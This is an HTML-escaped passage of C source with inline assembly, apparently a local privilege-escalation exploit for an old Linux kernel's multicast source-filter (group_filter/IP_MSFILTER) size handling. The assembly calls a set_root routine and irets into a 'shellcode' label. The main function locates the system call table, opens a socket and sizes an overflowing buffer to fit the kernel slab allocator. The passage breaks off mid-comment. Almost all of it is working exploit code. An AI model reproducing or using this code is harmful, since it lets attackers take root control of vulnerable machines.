&nbsp;&nbsp; &nbsp;"load_highlevel:&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"mov&nbsp;&nbsp; &nbsp;$0xffffe000,%eax\n\t"<br>
&nbsp;&nbsp; &nbsp;"and&nbsp;&nbsp; &nbsp;%esp,%eax&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;%eax&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"call&nbsp;&nbsp; &nbsp;set_root&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pop&nbsp;&nbsp; &nbsp;%eax&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"movl&nbsp;&nbsp;
&nbsp;$user_ds,%eax&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;(%eax)\n"<br>
&nbsp;&nbsp; &nbsp;"pop&nbsp;&nbsp;
&nbsp;%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t"&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* DS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp;
&nbsp;%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t" &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* SS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$0xc0000000&nbsp;&nbsp;
&nbsp;\n\t"&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* ESP */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$0x246&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;/* EFLAGS */<br>
&nbsp;&nbsp; &nbsp;"movl&nbsp;&nbsp;
&nbsp;$user_cs,%eax&nbsp;&nbsp; &nbsp;\n\t"&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;/* CS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;(%eax)&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$shellcode&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"iret&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
);<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int sock = -1;<br>
&nbsp;&nbsp; &nbsp;int victim_pipe[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int holderid = -1;<br>
&nbsp;&nbsp; &nbsp;struct group_filter *gsf = NULL; /* &amp;optval
*/<br>
&nbsp;&nbsp; &nbsp;int optlen, optlen_align;<br>
&nbsp;&nbsp; &nbsp;int nsems;<br>
&nbsp;&nbsp; &nbsp;int pid;<br>
&nbsp;&nbsp; &nbsp;int status;<br>
<br>
&nbsp;&nbsp; &nbsp;unsigned int numsrc, full_numsrc, of_numsrc /*
overflow numsrc */;<br>
&nbsp;&nbsp; &nbsp;int msize, gsize, i;<br>
&nbsp;&nbsp; &nbsp;struct sockaddr_in *psin;<br>
<br>
&nbsp;&nbsp; &nbsp;sys_call_table = (void *)
get_sys_call_table();<br>
&nbsp;&nbsp; &nbsp;if (!sys_call_table)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;sock = socket(PF_INET, SOCK_STREAM, 0);<br>
&nbsp;&nbsp; &nbsp;if (sock == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("socket");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;optlen = sizeof(struct group_filter) +<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sizeof(struct sockaddr_storage) *
(MY_NUMSRC-1);<br>
&nbsp;&nbsp; &nbsp;optlen_align = fix_slabsize(optlen);<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * (kernel-2.4.22)<br>
&nbsp;&nbsp; &nbsp; * ...<br>
&nbsp;&nbsp; &nbsp; * define IP_MSFILTER_SIZE(numsrc) \<br>
&nbsp;&nbsp; &nbsp; *&nbsp;&nbsp; &nbsp;(sizeof(struct ip_msfilter)
- sizeof(__u32) \<br>
&nbsp;&nbsp; &nbsp; *&nbsp;&nbsp; &nbsp;+ (numsrc) *
sizeof(__u32))<br>
&nbsp;&nbsp; &nbsp; */<b